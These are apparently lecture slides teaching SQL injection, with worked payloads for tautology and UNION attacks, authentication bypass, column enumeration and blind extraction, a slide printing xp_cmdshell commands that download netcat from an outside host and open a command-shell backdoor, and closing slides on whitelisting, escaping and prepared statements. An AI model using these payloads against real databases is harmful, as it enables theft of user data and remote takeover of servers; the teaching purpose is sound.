SQL Injection
SQL Injection

- Another reason to validate user input data
- Slides credit to Neil Daswani and Adam Doupé
HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR - DID HE BREAK SOMETHING?
IN A WAY-

DID YOU REALLY NAME YOUR SON Robert?); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
Produce More Secure Code

- Operating system can only do so much to reduce risks …

- Programmers need to write safer programs
  - Always check legitimacy of user supplied data

- SQL Injection
  - Web server treats user supplied “data” as “code”
  - Execute the SQL query with malicious data (code)
  - Compromise back-end database
SQL Injection: Real-world Threat

Hack that targeted Arizona voter database was easy to prevent, expert says

Published: Thursday, September 1st 2016, 1:58 am EDT
Updated: Thursday, September 1st 2016, 3:49 pm EDT
By Derek Staahl

ANDY GREENBERG  SECURITY  08.29.16  11:49 AM

HACK BRIEF: AS FBI WARNS ELECTION SITES GOT HACKED, ALL EYES ARE ON RUSSIA
Impact of SQL Injection

1. Leakage of sensitive information
2. Reputation decline
3. Modification of sensitive information
4. Loss of control of database server
5. Data loss
6. Denial of service
SQL Injection

1. A website has a form, e.g., login
2. Attacker submits form with SQL exploit data
3. Server builds string with exploit data
4. Server sends SQL query to DB
5. DB executes query, including exploit, sends data back
6. Server returns data to user.
SQL Injection Example

Normal Query

SELECT passwd
FROM USERS
WHERE uname
  IS 'username'
SQL Injection Example

Attacker Provides This Input
**SQL Injection Example**

```
SELECT passwd
FROM USERS
WHERE uname IS ''); DROP TABLE USERS; -- '
```

Username & Password

Web Browser

Web Server

Database

Malicious Query

Eliminates all user accounts
Hi, this is your son’s school. We’re having some computer trouble.

Oh, dear—Did he break something? In a way—

DID YOU REALLY NAME YOUR SON Robert?); DROP TABLE Students;-- ?

Oh, yes. Little Bobby tables, we call him.

Well, we’ve lost this year’s student records. I hope you’re happy.

And I hope you’ve learned to sanitize your database inputs.
SQL Injection Example

View pizza order history:<br>
<form method="post" action="...">
Month
<select>
<option name="month" value="1">Jan</option>
...
<option name="month" value="12">Dec</option>
</select>
<p>
<input type=submit name=submit value=View>
</form>
**SQL Injection Example**

**Normal SQL Query**

```sql
SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=10
```

**Type 2 Attack**

For `order_month` parameter, attacker could input:

```
<option name="month" value="0 OR 1=1">Dec</option>
```

**Malicious Query**

WHERE userid=4123
AND order_month=0 OR 1=1

WHERE condition is always true!
Gives attacker access to other users’ private data!
# SQL Injection Example

All User Data Compromised

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Order Day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Diavola</td>
<td>Tomato, Mozarella, Pepperoni, ...</td>
<td>2</td>
<td>12</td>
</tr>
<tr>
<td>Napoli</td>
<td>Tomato, Mozarella, Anchovies, ...</td>
<td>1</td>
<td>17</td>
</tr>
<tr>
<td>Margherita</td>
<td>Tomato, Mozarella, Chicken, ...</td>
<td>3</td>
<td>5</td>
</tr>
<tr>
<td>Marinara</td>
<td>Oregano, Anchovies, Garlic, ...</td>
<td>1</td>
<td>24</td>
</tr>
<tr>
<td>Capricciosa</td>
<td>Mushrooms, Artichokes, Olives, ...</td>
<td>2</td>
<td>15</td>
</tr>
<tr>
<td>Veronese</td>
<td>Mushrooms, Prosciutto, Peas, ...</td>
<td>1</td>
<td>21</td>
</tr>
<tr>
<td>Godfather</td>
<td>Corleone Chicken, Mozarella, ...</td>
<td>5</td>
<td>13</td>
</tr>
</tbody>
</table>
SQL Injection Example

A more damaging breach of user privacy:

```
0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
    FROM creditcards
```

Attacker is able to

- Combine the results of two queries
- Empty table from first query with the sensitive credit card info of all users from second query
## SQL Injection Example

<table>
<thead>
<tr>
<th>Pizza</th>
<th>Toppings</th>
<th>Quantity</th>
<th>Order Day</th>
</tr>
</thead>
<tbody>
<tr>
<td>Neil Daswani</td>
<td>1234 1234 9999 1111</td>
<td>11</td>
<td>2007</td>
</tr>
<tr>
<td>Christoph Kern</td>
<td>1234 4321 3333 2222</td>
<td>4</td>
<td>2008</td>
</tr>
<tr>
<td>Anita Kesavan</td>
<td>2354 7777 1111 1234</td>
<td>3</td>
<td>2007</td>
</tr>
</tbody>
</table>

Credit Card Info Compromised
SQL Injection: By-pass Authentication

- The following code is a bad practice of authentication

```python
sqlString = "select USERID from USER
           where USERID = `\"& userId &\"`
           and PWD = `\"& pwd &\"``

result = GetQueryResult(sqlString)
If(result = "") then
    userHasBeenAuthenticated = False
Else
    userHasBeenAuthenticated = True
End If
```
SQL Injection: By-pass Authentication

- User ID: `OR `=`
- Password: `OR `=`
- In this case the sqlString would be:

```
select USERID from USER where USERID = `OR `=`` and PWD = ` OR ``=`
```

```
select USERID from USER where USERID = `` OR ``=` and PWD = ` OR ``=`

TRUE  TRUE
```

- Will certainly set the userHas BeenAuthenticated variable to true.
To Achieve the Same Attack

User ID: ` OR `=`` --

Password: abc

Because anything after the -- will be ignore, the injection will work even without any specific injection into the password predicate
Different Types of SQL Injections

- SQL injection can modify any type of query
  - **SELECT statements**
    - SELECT * FROM accounts WHERE user='\$u' AND pass='\$p'
  - **INSERT statements**
    - INSERT INTO accounts (user, pass) VALUES ('\$u', '\$p')
    - Note that in this case, one has to figure out how many values to insert
  - **UPDATE statements**
    - UPDATE accounts SET pass='\$np' WHERE user= '\$u' AND pass='\$p'
  - **DELETE statements**
    - DELETE * FROM accounts WHERE user='\$u'
Determining Number/Types of Parameters

- Determine the **number of columns** in a query
  - Send progressively longer NULL columns
  - Until the correct query is returned
    - UNION SELECT NULL
    - UNION SELECT NULL, NULL
    - UNION SELECT NULL, NULL, NULL

- Determine **type of columns**
  - E.g., to determine if a column that has a string type
    - UNION SELECT ‘foo’, NULL, NULL
    - UNION SELECT NULL, ‘foo’, NULL
    - UNION SELECT NULL, NULL, ‘foo’
Determining Table and Column Names

- **Oracle**
  - `user_objects` table: information about the tables for an application
  - `user_tab_column` table: names of the columns associated with a table

- **MS-SQL**
  - `sysobjects` table: information about the tables in the database
  - `syscolumns` table: names of the columns associated with a table

- **MySQL**
  - `information_schema.tables`: information about the table names
  - `information_schema.columns`: names of the columns in a table
Blind SQL Injection

- A typical countermeasure is to prohibit the display of error messages → no feedback to attacker’s queries

- But, is this enough?
  - No, a web application may still be vulnerable to blind SQL injection
  - Attackers have other “side-channels” to get feedback

- Example: a news site
  - Press releases are accessed with `pressRelease.jsp?id=5`
  - A SQL query is created and sent to the database:
    - `select title, description FROM pressReleases where id=5;`
  - All error messages are filtered by the application
Blind SQL Injection

- How to inject statements into the application and exploit it?
- We do not receive feedback from the application

- So we can use a trial-and-error approach
  - Inject pressRelease.jsp?id=5 AND 1=1
  - The SQL query is created and sent to the database:
    - `select title, description FROM pressReleases where id=5 AND 1=1`
  - If the service is vulnerable, the same page should be returned
  - If the service is not vulnerable, and input is carefully validated: `id=5 AND 1=1` would be treated as `id="5 AND 1=1"` → “page not found”, cannot do blind injection
Blind SQL Injection

- When testing for vulnerability, we know $1=1$ is always true
  - If the same record is returned, the statement must have been true
  - For example, we can ask server if the current user is “h4x0r”:
    - pressRelease.jsp?id=5 AND user_name()='h4x0r'

- By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database table character by character)
  - pressRelease.jsp?id=5 AND SUBSTRING(user_name(), 1, 1) < '?'
Beyond Data Retrieval

Downloading Files

```sql
exec master..xp_cmdshell 'tftp 192.168.1.1 GET nc.exe c:\nc.exe'
```

Backdoor with Netcat

```sql
exec master..xp_cmdshell 'nc.exe -e cmd.exe -l -p 53'
```

Direct Backdoor w/o External Cmds

```sql
UTL_TCP.OPEN_CONNECTION('192.168.0.1', 2222, 1521)
//charset: 1521
//port: 2222
//host: 192.168.0.1
```
Preventing SQL Injection

- **Whitelisting**
  - **Why?** Blacklisting chars doesn’t work:
    - Forget to filter out some characters
    - Could prevent valid input (e.g. username O’Brien)
  - Allow well-defined set of safe values:
    - \([A-Za-z0-9]*\]
    - \([0-1][0-9]\]
  - Valid input set defined through reg. expressions
  - Can be implemented in a web application firewall

- **Escaping**
  - For valid string inputs like username o’connor, use escape characters. Ex: escape(o’connor) = o”connor (only works for string inputs)
Second Order SQL Injection

- SQL code is injected into an application, but the SQL statement is invoked at a later point in time
  - e.g., Guestbook, statistics page, etc.

- Even if application escapes single quotes, second order SQL injection might be possible
  - Attacker sets user name to: `john'--`, application safely escapes value to `john'--` on insertion into the database
  - At a later point, attacker changes password of a user called “john”
    - `update users set password= ... where username = 'john'--`


Preventing SQL Injection (Con’t)

- Developers must never allow client-supplied data to modify SQL statements

- Stored procedures
  - Isolate applications from SQL
  - All SQL statements required by the application are stored procedures on the database server

- Prepared statements
  - Statements are compiled into SQL statements before user input is added
SQL Injection - Prevention

- Prepared statements
  - Specify structure of query then provide arguments
- Prepared statements – example

```php
$stmt = $db->prepare("select * from `users` where `username` = :name and `password` = SHA1( CONCAT(:pass, `salt`)) limit 1;";
$stmt->bindParam(':name', $name);
$stmt->bindParam(':pass', $pass);
```

- Sanitize inputs